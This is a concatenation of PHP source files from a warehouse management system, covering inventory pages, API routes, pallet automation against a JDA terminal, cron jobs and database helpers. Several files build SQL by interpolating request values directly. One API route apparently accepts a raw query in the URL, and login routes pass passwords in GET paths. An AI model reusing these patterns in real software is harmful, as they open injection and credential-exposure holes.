$page = Input::get('page', 1);
// Data
$arrParams = array(
'slot' => $slot,
'sku' => $sku,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
// $results = Inventory::getInventory($arrParams);
// $results_total = Inventory::getCountInventory($arrParams);
$results = SlotDetails::getSlotDetails($arrParams);
$results_total = SlotDetails::getCountSlotDetails($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'slot' => $slot,
'sku' => $sku,
'sort' => $sort,
'order' => $order,
'filter_prod_sku' => Input::get('filter_prod_sku', NULL),
'filter_prod_upc' => Input::get('filter_prod_upc', NULL),
'filter_date_from' => Input::get('filter_date_from', NULL),
'filter_date_to' => Input::get('filter_date_to', NULL),
'page_back' => Input::get('page_back', 1),
'sort_back' => Input::get('sort_back', 1),
'order_back' => Input::get('order_back', 1)
);
$this->data['inventory'] = Paginator::make($results, $results_total, 30);
$this->data['inventory_count'] = $results_total;
$this->data['counter'] = $this->data['inventory']->getFrom();
$this->data['slot'] = $slot;
$this->data['sku'] = $sku;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = $this->setURL(true). 'slot=' . $slot . '&sku=' . $sku . '&page=' . $page;
$order_id = ($sort=='id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_sku = ($sort=='sku' && $order=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort=='upc' && $order=='ASC') ? 'DESC' : 'ASC';
$order_short_name = ($sort=='short_name' && $order=='ASC') ? 'DESC' : 'ASC';
$order_quantity = ($sort=='quantity' && $order=='ASC') ? 'DESC' : 'ASC';
$order_expiry_date = ($sort=='expiry_date' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_id'] = URL::to('inventory/detail' . $url . '&sort=id&order=' . $order_id, NULL, FALSE);
$this->data['sort_sku'] = URL::to('inventory/detail' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
$this->data['sort_upc'] = URL::to('inventory/detail' . $url . '&sort=upc&order=' . $order_upc, NULL, FALSE);
$this->data['sort_short_name'] = URL::to('inventory/detail' . $url . '&sort=short_name&order=' . $order_short_name, NULL, FALSE);
$this->data['sort_quantity'] = URL::to('inventory/detail' . $url . '&sort=quantity&order=' . $order_quantity, NULL, FALSE);
$this->data['sort_expiry_date'] = URL::to('inventory/detail' . $url . '&sort=expiry_date&order=' . $order_expiry_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('inventory.detail', $this->data);
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '?filter_prod_sku=' . Input::get('filter_prod_sku', NULL);
$url .= '&filter_prod_upc=' . Input::get('filter_prod_upc', NULL);
$url .= '&filter_date_from=' . Input::get('filter_date_from', NULL);
$url .= '&filter_date_to=' . Input::get('filter_date_to', NULL);
$url .= '&slot=' . Input::get('slot', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'sku');
$url .= '&order_back=' . Input::get('order', 'ASC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList) {
$url .= '&sort=' . Input::get('sort_back', 'sku');
$url .= '&order=' . Input::get('order_back', 'ASC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'sku');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
}<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class palletizingStep2 extends jdaCustomClass
{
private static $formMsg = "";
private static $palletType = "S"; //default
public static $warehouseNo = "7000 ";
public static $user = 'SYS';
/*
Palletizing Maintaining of Cartoon Pallet
13
04
10
06
Enter Pallet type: S (default)
press ENter
Enter Pallet Id: PLCTNXXYY
press Enter
Enter create clerk: SYS
Enter from loc: 9005 (default)
Enter to loc: 20
F7
*/
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterPalletHeaderMaintenance()
{
parent::$jda->screenWait("Pallet Header Maintenance");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("06",22,44)),ENTER,true);
echo "Entered: Pallet Header Maintenance \n";
}
private static function enterPalletType($pallet_code)
{
parent::$jda->screenWait("Enter Pallet Type");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(self::$palletType, 8, 40);// enter pallet type
#make sure to empty the pallet id
if(parent::$jda->screenCheck('Enter Pallet I.D')) {
$empty_pallet = " ";
$formValues[] = array(sprintf("%9s", $empty_pallet),11,40); //enter pallet id
}
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Pallet Type \n";
return self::checkResponse($pallet_code,__METHOD__);
}
private static function enterPalletId($pallet_code)
{
parent::$jda->screenWait("Enter Pallet I.D");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%9s", $pallet_code),11,40); //enter pallet id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Pallet I.D \n";
return self::checkResponse($pallet_code,__METHOD__);
}
private static function enterDetailForm($pallet)
{
print_r($pallet);
$pallet_code = $pallet['pallet_code'];
$toLocation = $pallet['store_code'];
parent::$jda->screenWait("Create Clerk");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(self::$user, 8, 57);// enter create clerk
$formValues[] = array(sprintf("%5s", self::$warehouseNo), 9, 17); //enter from location
$formValues[] = array($toLocation, 10, 17); //enter from location
parent::$jda->write5250($formValues,F7,true);
echo "Entered: Detailed Form \n";
return self::checkResponse($pallet_code,__METHOD__);
}
public function save($pallet)
{
$pallet_code = $pallet['pallet_code'];
self::enterPalletType($pallet_code);
self::enterPalletId($pallet_code);
self::enterDetailForm($pallet);
}
private static function checkResponse($pallet_code,$source)
{
# error
if(parent::$jda->screenCheck('Load id does not have the "to" location established')) {
$receiver_message="Load id does not have the to location established";
self::$formMsg = "{self::$palletType}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($pallet_code,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Pallet type selection code is not valid or blank')) {
$receiver_message="Pallet type selection code is not valid or blank";
self::$formMsg = "{self::$palletType}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($pallet_code,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('The pallet id number must be entered')) {
$receiver_message="The pallet id number must be entered";
self::$formMsg = "{$pallet_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
return false;
}
if(parent::$jda->screenCheck('The clerk entered is not valid for the from location')) {
$receiver_message="The clerk entered is not valid for the from location";
self::$formMsg = "{self::$user}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($pallet_code,"{$source}: {$receiver_message}", TRUE);
parent::pressF1();
parent::enterWarning();
return false;
}
#success
if(parent::$jda->screenCheck('Record added to system') || parent::$jda->screenWait('Record added to system')) {
self::$formMsg = "{$pallet_code}: Record added to system";
self::updateSyncStatus($pallet_code);
}
#success
if(parent::$jda->screenCheck('The selected record has been updated') || parent::$jda->screenWait('The selected record has been updated')) {
self::$formMsg = "{$pallet_code}: The selected record has been updated";
self::updateSyncStatus($pallet_code);
}
echo self::$formMsg;
return true;
}
/*
* Get all open pallets
*/
/*public function getPallets()
{
$db = new pdoConnection();
echo "\n Getting box codes from db \n";
$sql = "SELECT p.pallet_code, p.store_code
FROM wms_pallet p
RIGHT JOIN wms_pallet_details pd ON p.pallet_code = pd.pallet_code
RIGHT JOIN wms_box_details bd ON pd.box_code = bd.box_code AND bd.sync_status = 1
INNER JOIN wms_box b ON bd.box_code = b.box_code AND b.sync_status = 1
WHERE p.sync_status = 0
GROUP BY p.pallet_code, p.store_code
ORDER BY p.pallet_code ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
$db->close();
return $result;
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
/*private static function updateSyncStatus($pallet_code, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Updating... \n";
$sql = "UPDATE wms_pallet SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND pallet_code = '{$pallet_code}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND module = 'Pallet Header' AND jda_action='Creation' AND reference = '{$reference}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToPalletHeaderMaintenance()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Palletizing Maintaining of Cartoon Pallet \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
parent::enterWarehouseMaintenance();
parent::enterCartonPalletLoadMaintenance();
self::enterPalletHeaderMaintenance();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
private static function syncLoadHeader($params)
{
$formattedString = "{$params['loadNo']}";
$dbInstance = new pdoConnection(); //open db connection
$dbInstance->daemon('palletizing_step3', $formattedString);
$dbInstance->close();
echo "Entered: Syncing load header.... \n";
}
public function logout($params = array())
{
parent::logout();
self::syncLoadHeader($params);
}
}
$db = new pdoConnection(); //open db connection
$jdaParams = array();
$jdaParams = array('module' => 'Box Header', 'jda_action' => 'Creation', 'checkSuccess' => 'true');
// format: php picklist.php {docNo} {$boxNo} {$palletNo} {$loadNo}
$execParams = array();
$execParams['loadNo'] = ((isset($argv[1]))? $argv[1] : NULL);
print_r($execParams);
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getUnsuccessfulBoxes = $db->getJdaTransactionBoxHeader($jdaParams);
if(empty($getUnsuccessfulBoxes)){
$jdaParams = array();
$jdaParams = array('module' => 'Pallet Header', 'jda_action' => 'Creation');
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getPallets = $db->getJdaTransactionPallet($jdaParams);
print_r($getPallets);
if(! empty($getPallets) )
{
$palletsInfo = $db->getPalletsInfo($getPallets);
$palletizing = new palletizingStep2();
$palletizing->enterUpToPalletHeaderMaintenance();
foreach($palletsInfo as $pallet) {
$palletizing->save($pallet);
}
$palletizing->logout($execParams);
}
else {
echo " \n No rows found!. Proceed to load header creation\n";
$formattedString = "{$execParams['loadNo']}";
$db->daemon('palletizing_step3', $formattedString);
}
}
else{
echo " \n Found unsuccessful creation of box headers! Stop process!\n";
}
$db->close(); //close db connection
<file_sep><?php
/*
|--------------------------------------------------------------------------
| Application Routes
|--------------------------------------------------------------------------
|
| Here is where you can register all of the routes for an application.
| It's a breeze. Simply tell Laravel the URIs it should respond to
| and give it the controller to call when that URI is requested.
|
*/
Route::get('/', function () {
return view('welcome');
});
Route::group(array('prefix'=>'api'), function()
{
/////////////////////////////////////////////
Route::get('users', 'ControllerApiName@postLogin');
//////////////////////////////////////////////
//Route::post('validateUser', 'ControllerApiName@validateUser');
Route::get('name','ControllerApiName@showName');
Route::get('RPoList/{piler_id}','ControllerApiName@RPolist');
Route::get('RPoListDetail/{receiver_no}/{division_id}','ControllerApiName@RPolistDetail');
Route::get('RPoUpdatestatus/{receiver_no}/{division_id}','ControllerApiName@UpdateApiRPoSlot');
Route::get('RPoListDetailUpdate/{receiver_no}/{division}/{upc}/{rqty}/{slot}','ControllerApiName@UpdateRPoListDetail');
Route::get('UserLogin/{username}/{password}','ControllerApiName@UserLogin');
Route::get('getquery/{query}','ControllerApiName@getquery');
Route::get('RPoListDetailAdd/{receiver_no}/{division}/{sku}/{upc}/{rqty}/{userid}/{slot}/{division_name}','ControllerApiName@RPoListDetailAdd');
Route::get('PTLList/{piler_id}','ControllerApiName@PTLList');
Route::get('PTLListDetail/{moved_doc}','ControllerApiName@PTLListDetail');
Route::get('PTLListDetailUpdate/{picking_id}/{upc}/{rcv_qty}','ControllerApiName@PTLListDetailUpdate');
Route::get('PTLListUpdate/{moved_doc}','ControllerApiName@PTLListUpdate');
Route::get('PTLGetBoxCode/{store_id}','ControllerApiName@PTLGetBoxCode');
Route::get('PSTTLGetBoxCode/{store_id}','ControllerApiName@PSTTLGetBoxCode');
route::get('AddBoxDetail/{picklist_detail_id}/{box_code}/{moved_qty}','ControllerApiName@AddBoxDetail');
Route::get('PTLBoxUpdate/{box_code}/{store_id}/{move_doc}/{number}/{total}','ControllerApiName@PTLBoxUpdate');
Route::get('PTLBoxValidate/{box_code}','ControllerApiName@PTLBoxValidate');
Route::get('PTLGetLastBoxCode/{store_id}/{move_doc}','ControllerApiName@PTLGetLastBoxCode');
Route::get('PTLGetLastBoxCode1/{store_id}','ControllerApiName@PTLGetLastBoxCode1');
Route::get('PTLNewBoxCode/{box_code}/{store_id}/{move_doc}/{number}/{total}','ControllerApiName@PTLNewBoxCode');
Route::get('LBList/{piler_id}','ControllerApiName@LBlist');
Route::get('STLBList/{piler_id}','ControllerApiName@STLBlist');
Route::get('LBListDetail/{load_code}', 'ControllerApiName@LBListdetails');
Route::get('STLBListDetail/{load_code}', 'ControllerApiName@STLBListdetails');
Route::get('STLBListDetailBox/{move_doc}', 'ControllerApiName@STLBListdetailsBox');
Route::get('UpdateSTLoadingBoxStatus/{move_doc}/{boxcode}/{status}', 'ControllerApiName@UpdateSTLoadingBoxStatus');
Route::get('PSTTLGetLastBoxCode/{store_id}/{move_doc}','ControllerApiName@PSTTLGetLastBoxCode');
Route::get('LBListDetailBox/{move_doc}', 'ControllerApiName@LBListDetailbox');
Route::get('UpdateLoadingStatus/{load_code}/{date}', 'ControllerApiName@UpdateLoadingStatus');
Route::get('PSTTLNewBoxCode/{box_code}/{store_id}/{move_doc}/{number}/{total}','ControllerApiName@PSTTLNewBoxCode');
/* ******************************* Store receiving Api************************************/
Route::get('PStoreList/{piler_id}', 'ControllerApiName@PStoreList');
Route::get('PStoreListDetail/{box_code}', 'ControllerApiName@PStoreListDetail');
Route::get('PStoreListDetailUpc/{moved_doc}/{box_code}', 'ControllerApiName@PStoreListDetailUpc');
Route::get('PStoreListDetailContent/{boxcode}/{move_doc}', 'ControllerApiName@PStoreListDetailContent');
Route::get('UpdateLoadingBoxStatus/{move_doc}/{boxcode}/{status}', 'ControllerApiName@UpdateLoadingBoxStatus');
Route::get('UpdateStoreOrderUpc/{move_doc}/{upc}/{rcv_qty}', 'ControllerApiName@UpdateStoreOrderUpc');
Route::get('UpdateStoreOrderBox/{move_doc}/{box_code}/{upc}/{rcv_qty}', 'ControllerApiName@UpdateStoreOrderBox');
Route::get('UpdateStoreOrderStatus/{move_doc}', 'ControllerApiName@UpdateStoreOrderStatus');
/* ******************************* Store receiving Api************************************/
Route::get('RSTList/{piler_id}', 'ControllerApiName@RSTList');
Route::get('RSTListDetail/{mts_no}', 'ControllerApiName@RSTListDetail');
Route::get('PSTList/{piler_id}', 'ControllerApiName@PSTList');
Route::get('PSTListDetail/{mts_no}', 'ControllerApiName@PSTListDetail');
Route::get('RRLList/{piler_id}', 'ControllerApiName@RRLList');
/* ******************************* Stock Transfer MTS Receiving************************************/
Route::get('RSTListDetailUpdate/{mts_no}/{upc}/{rqty}','ControllerApiName@RSTListDetailUpdate');
Route::get('RSTListDetailAdd/{mts_no}/{upc}/{rqty}','ControllerApiName@RSTListDetailAdd');
Route::get('RSTListUpdateStatus/{mts_no}','ControllerApiName@RSTListUpdateStatus');
/* *********************************subloc picking **************************************/
Route::get('PSTTLListDetailUpdate/{picking_id}/{upc}/{rcv_qty}','ControllerApiName@PSTTLListDetailUpdate');
Route::get('PSTTLListUpdate/{moved_doc}','ControllerApiName@PSTTLListUpdate');
route::get('AddSTBoxDetail/{picklist_detail_id}/{box_code}/{moved_qty}','ControllerApiName@AddSTBoxDetail');
Route::get('PSTTLBoxUpdate/{box_code}/{store_id}/{move_doc}/{number}/{total}','ControllerApiName@PSTTLBoxUpdate');
/* ******************************* Reverse Logistic Receiving************************************/
Route::get('RRLListDetailUpdate/{mts_no}/{upc}/{rqty}','ControllerApiName@RRLListDetailUpdate');
Route::get('RRLListDetailAdd/{mts_no}/{upc}/{rqty}','ControllerApiName@RRLListDetailAdd');
Route::get('RRLListDetail/{mts_no}', 'ControllerApiName@RRLListDetail');
Route::get('RRLListUpdateStatus/{mts_no}','ControllerApiName@RRLListUpdateStatus');
Route::get('login/{username}/{password}','ControllerApi<PASSWORD>@validateUser');
/**************************Loading Module **************************/
Route::get('NewLoadingList/{piler_id}','ControllerApiName@NewLoadingList');
Route::get('NewLoadingListDetail/{load_code}','ControllerApiName@NewLoadingListDetails');
Route::get('UpdateNewLoadingBoxStatus/{load_code}/{box_code}/{status}','ControllerApiName@UpdateNewLoadingBoxStatus');
/*************************Subloc Loading Module ********************/
Route::get('NewLoadingSTList/{piler_id}','ControllerApiName@NewLoadingSTList');
Route::get('NewLoadingSTListDetail/{load_code}','ControllerApiName@NewLoadingSTListDetails');
Route::get('UpdateNewLoadingSTBoxStatus/{load_code}/{box_code}/{status}','ControllerApiName@UpdateNewLoadingSTBoxStatus');
Route::get('UpdateLoadingSTStatus/{load_code}/{date}', 'ControllerApiName@UpdateLoadingSTStatus');
/********************************************************/
//verify user//permission at mobile using quantity or add upc
Route::get('VerifyUser/{username}/{password}','ControllerApiUser@getVerifyValidateUser');
Route::get('SlotCode','ControllerApiName@getSlotCodeList');
//NewLoadingList
});<file_sep><?php
class DatabaseSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
Eloquent::unguard();
#$this->call('ProductListsSeeder');
#$this->call('PurchaseOrderSeeder');
#$this->call('PurchaseOrderDetailSeeder');
$this->call('SettingsSeeder');
$this->call('BrandsSeeder');
$this->call('DatasetSeeder');
#$this->call('SlotSeeder');
#$this->call('SlotDetailsSeeder');
#$this->call('VendorSeeder');
#$this->call('LetdownSeeder');
#$this->call('StoreOrderSeeder');
#$this->call('StoreOrderDetailSeeder');
#$this->call('StoresSeeder');
#$this->call('BoxManifestSeeder');
}
}
<file_sep><?php
class Sqlconnect {
function __construct($system, $lib_name, $username, $password)
{
$this->system = $system;
$this->database = $lib_name;
$this->username = $username;
$this->password = $password;
}
public function Connect() {
try {
$cnString = "mysql:host={$this->system};dbname={$this->database}; --local-infile";
echo "Connecting to MYSQL(RMCI)... \n";
echo "HOST: {$this->system}\t";
echo "DBNAME: {$this->database}\n";
echo "USERNAME: {$this->username}\t";
echo "Password: ".str_repeat('*', strlen($this->password) + rand(1,20)). "\n";
$this->dbh = new PDO($cnString, $this->username, $this->password,array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_PERSISTENT => true
));
echo "\nConnected Successfully! \n";
} catch (PDOException $e) {
echo "\nCan't Connect \n {$e->getMessage()} \n";
exit(str_repeat('-', 100)."\n");
}
}
public function runQuery($query) {
/**
* @param $query = statement/query
**/
$statement = $this->dbh->prepare($query);
$statement->execute();
$result = $statement->fetchAll(PDO::FETCH_ASSOC);
return $result;
}
public function updateQuery($query)
{
/**
* @param $query = statement/query
**/
$statement = $this->dbh->prepare($query);
$statement->execute();
}
public function insertQuery($query)
{
return $this->dbh->exec($query);
}
}<file_sep><?php
//use this
// */5 * * * * php /var/www/html/ssi-wms-portal/app/cron/ewms_cron_letdown.php
include('config/config.php');
$db = mysql_credentials();
$dsn = "mysql:dbname=" . $db["db_name"] . ";host=" . $db["hostname"];
$sql = <<<SQL
Select move_doc_number from wms_letdown where lt_status = 0;
SQL;
try {
$pdo = new PDO($dsn, $db["user"], $db["password"]);
$result = $pdo->query($sql);
$result = $result->fetchAll();
foreach ($result as $key => $value) {
$docNo = $value["move_doc_number"];
$sql = <<<SQL
Select count(*) as count from wms_letdown_details where move_doc_number = $docNo;
SQL;
$originalCount = $pdo->query($sql);
$originalCount = $originalCount->fetchAll();
$originalCount = $originalCount[0]['count'];
$sqlMoved = <<<SQL
Select count(*) as count from wms_letdown_details where move_doc_number = $docNo and move_to_picking_area = 1;
SQL;
$movedCount = $pdo->query($sqlMoved);
$movedCount = $movedCount->fetchAll();
$movedCount = $movedCount[0]['count'];
if($originalCount == $movedCount) {
$sqlUpdateHeader = <<<SQL
Update wms_letdown set lt_status=1 where move_doc_number = $docNo;
SQL;
$updateHeaderResult = $pdo->query($sqlUpdateHeader);
} //end if
}//end foreach
} catch (Exception $e) {
echo "Connection failed: " . $e->getMessage();
echo "\n";
}
?>
<file_sep><?php
class Dataset extends Eloquent {
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'dataset';
public static function getTypeInList($type, $includeAdmin = FALSE) {
$query = Dataset::where('data_code', '=', $type);
if(! $includeAdmin ) $query->where('data_value', '<>', 'super_admin');
$result = $query->lists('data_display', 'id');
return $result;
}
public static function getType($data = array()) {
$query = Dataset::where('data_code', '=', $data['data_code'])
->where('data_value', '=', $data['data_value']);
return $query->firstOrFail();
}
/*
*
* Gets data set with value not id
*
* @param type string type of dataset
*
*/
public static function getTypeWithValue($type)
{
$query = Dataset::where('data_code', '=', $type);
$result = $query->lists('data_display', 'data_value');
return $result;
}
}<file_sep><?php
return array(
'heading_title' => 'Vendor Master List',
'label_filter_vendor_no' => 'Vendor Code:',
'label_filter_vendor_name' => 'Vendor Name:',
'col_id' => 'No.',
'col_vendor_name' => 'Vendor Name',
'col_vendor_no' => 'Vendor Code',
);<file_sep><?php
class ApiReserveZone extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Gets upcs/skus of products in the receiving zone.
*
* @example www.example.com/api/{version}/upc
*
* @return Status
*/
public function index() {
try {
$upc_list = SkuOnDock::getAll();
DebugHelper::log(__METHOD__.' Lists: ', $upc_list);
return CommonHelper::return_success_message($upc_list->toArray());
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Putaway to reserve zone
*
* @example www.example.com/api/{version}/upc/reserve_zone/
*
* @param slot_id
* @return json encoded array of result of moving
*
* Steps
* 1 Save transaction of put_away
* 2 Save slot detail
*/
public function putToReserve($slot_id) {
try {
if(! CommonHelper::hasValue($slot_id) ) throw new Exception( 'Missing slot id parameter.');
CommonHelper::setRequiredFields(array('data', 'created_at', 'user_id'));
SlotDetails::_isSlotExist($slot_id);
$user_id = Request::get('user_id');
$created_at = Request::get('created_at');
$data = Request::get("data");
$result = array();
$data = json_decode($data, true);
if(empty($data)) {
throw new Exception("You haven't moved any items yet.");
}
Log::info(__METHOD__ .' Data json decode: '.print_r($data,true));
//get moved_to_reserve id
$arrParams = array('data_code' => 'ZONE_TYPE', 'data_value'=> 'moved_to_reserve');
$zone_id = Dataset::getType($arrParams)->toArray();
DB::beginTransaction();
//1
$transaction = PutAway::createTransaction($slot_id, $zone_id['id']);
DebugHelper::log(__METHOD__. ' Transaction: ' , $transaction->id);
//2 TODO:: move this to another method
if( CommonHelper::hasValue($transaction->id) )
{
foreach ($data as $key => $values) {
$arrParams = array(
'put_away_id' => $transaction->id,
'slot_id' => $slot_id,
'assigned_user_id' => $user_id,
'created_at' => $created_at,
'sku' => $values['sku'],
'quantity' => $values['quantity_delivered'],
'expiry_date' => $values['expiry_date']
);
$result[$values['sku']] = $this->_validateQty($arrParams);
}
Log::info(__METHOD__ .' Results : '.print_r($result,true));
}
self::putToReserveAuditTrail($user_id, $slot_id, $result, $data);
DB::commit();
return CommonHelper::return_success_message($result);
}catch(Exception $e) {
DB::rollback();
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Validate if quantity is valid
*
* @example self::_validateQty({data})
*
* @param data sku and moved quantity json string
* @return result what skus were moved
*/
private function _validateQty($data = array()) {
$checkQty = SkuOnDock::_checkQty($data);
if( ($checkQty['total_qty_remaining'] >= $data['quantity']) && ($checkQty['total_qty_remaining'] != 0) && ($data['quantity'] >0))
{
$result = SlotDetails::insert($data);
if( $result ) SkuOnDock::reduceTotalQtyRemaining($data);
}
else
{
$result = 'Unable to insert sku #: '.$data['sku'];
}
return $result;
}
/**
* Put to reserve audit trail
* @param $user_id integer user id of the stock piler
* @param $slot_code integer slot code to move the items
* @param $skus_result array result of moving (shows whether the items were moved)
* @param $skus_original array skus array passed by client
* @return true
*/
private static function putToReserveAuditTrail($user_id, $slot_code, $skus_result, $skus_original)
{
//TODO::how do i ensure skus were valid and all moved
$data_after = "Stock Piler #" . $user_id . ' moving the following items to slot #' . $slot_code . ':</br>';
foreach ($skus_original as $key => $value) {
if($skus_result[$value['sku']] !== true)
{
$data_after .= $skus_result[$value['sku']];
} else {
$data_after .= "Able to insert ". $value['quantity_delivered'] . ' of ' .$value['sku'];
}
$data_after .= "</br>";
}
$arrParams = array(
'module' => Config::get("audit_trail_modules.reservezone"),
'action' => Config::get("audit_trail.put_to_reserve"),
'reference' => "Slot code #" . $slot_code,
'data_before' => '',
'data_after' => $data_after,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/*********************Unused functions remove******************************/
/*private function _oldvalidateQty($values = array(), $po_id) {
$params = array('sku'=>$values['sku'],
'po_id'=>$po_id
);
$delivered_qty = PurchaseOrderDetail::getSku($params);
$total_stored_qty = SlotDetails::_checkQuantity($values, $po_id);
$delivered_qty = $delivered_qty->quantity_delivered;
//TRUE if delivered_qty is greater or equal the submitted qty
if( (integer) $delivered_qty >= (integer) $values['quantity'] )
{
Log::info(__METHOD__ .' Values1 : '. $delivered_qty >= (integer) $values['quantity']);
$available_qty = $delivered_qty - $total_stored_qty; //sum
//TRUE if available_qty is greater or equal to submitted qty
if( (integer) $available_qty >= (integer) $values['quantity'] ) {
Log::info(__METHOD__ .' Values2 : '.$available_qty >= (integer) $values['quantity']);
$result = SlotDetails::insert($values);
}
else {
Log::info(__METHOD__ .' else 2 : '. $values['sku']);
$result = 'Unable to insert sku #: '.$values['sku'];
}
}
else
{
Log::info(__METHOD__ .' else 1 : '. $values['sku'] . ' delivered_qty: '.$delivered_qty. 'quantity: '.$values['quantity']);
$result = 'Unable to insert sku #: '.$values['sku'];
}
return $result;
}*/
}<file_sep><?php
include_once("jda_modules.php");
$module = new jdaModules();
$module->transfers();
<file_sep><?php
chdir(dirname(__FILE__));
include_once('db2_cron_class.php');
$db2 = new cronDB2();
$db2->purchaseOrder(); sleep(10);
$db2->purchaseOrderDetails(); sleep(10);
$db2->storeReturn(); sleep(10);
$db2->storeReturnDetails(); sleep(10);
// $db2->inventory(); sleep(10);
$db2->close();
<file_sep><?php
return array(
"open" => 1,
"inProcess" => 2,
"done" => 3,
"closed" => 4
);<file_sep><?php
class BoxDetails extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'box_details';
public $timestamps = false;
protected $fillable = array('picklist_detail_id', 'box_code', 'moved_qty', 'created_at', "updated_at");
/*
*
* add or update box manifest detail
*
*/
public static function getPLTotalqty($boxcode = null)
{
$query =DB::SELECT(DB::raw("SELECT sum(wms_box_details.moved_qty) as total_qty from wms_box_details where box_code='$boxcode' "));
return $query;
}
public static function moveToBox($picklistDetailId, $boxCode,$qtyToMove)
{
//check if box exists in header
$boxDetail = BoxDetails::where('picklist_detail_id', '=', $picklistDetailId)
->where('box_code', '=', $boxCode)
->first();
if(count($boxDetail) === 0) {
self::addBoxManifestDetail($picklistDetailId, $boxCode,$qtyToMove);
} else {
//TODO::checking if shipped, need load here
/*if((int)$boxDetail->is_shipped == 1) {
throw new Exception("You are trying to use a shipped box.");
}*/
self::updateBoxManifestDetail($picklistDetailId, $boxCode, intval($boxDetail->moved_qty) + $qtyToMove);
}
}
/*
*
* create news box manifest detail
*
*/
public static function addBoxManifestDetail($picklistDetailId,$boxCode,$qtyToMove)
{
BoxDetails::create(array(
"picklist_detail_id" => intval($picklistDetailId),
"box_code" => $boxCode,
"moved_qty" => $qtyToMove,
"created_at" => date('Y-m-d H:i:s'),
"updated_at" => date('Y-m-d H:i:s')
));
return;
}
/*
*
* updateBoxManifestDetail
*
*/
public static function updateBoxManifestDetail($picklistDetailId,$boxCode,$qtyToMove)
{
BoxDetails::where('picklist_detail_id', '=', $picklistDetailId)
->where('box_code', '=', $boxCode)
->update(array("moved_qty" => $qtyToMove,
"updated_at" => date('Y-m-d H:i:s')));
return;
}
public static function getBoxesByPicklistDetail($picklistDocNo)
{
$boxes = BoxDetails::join('picklist_details', 'picklist_details.id', '=', 'box_details.picklist_detail_id')
->where('picklist_details.move_doc_number', '=', $picklistDocNo)
->groupBy('box_details.box_code')
->lists('box_code');
return $boxes;
}
public static function getboxcontent($id)
{
$query= DB::table('box')
->select('load.load_code', 'box.created_at')
->leftJoin('load','box.tl_number','=','load.load_code')
->leftJoin('users','users.id','=','assigned_to_user_id')
->leftJoin('stores', 'box.store_code','=','stores.store_code')
->where('box.box_code','=',$id)
->first();
return $query;
}
public static function gettlposted($id)
{
$query= DB::table('picklist')
->select('picklist.pl_status','picklist.move_doc_number')
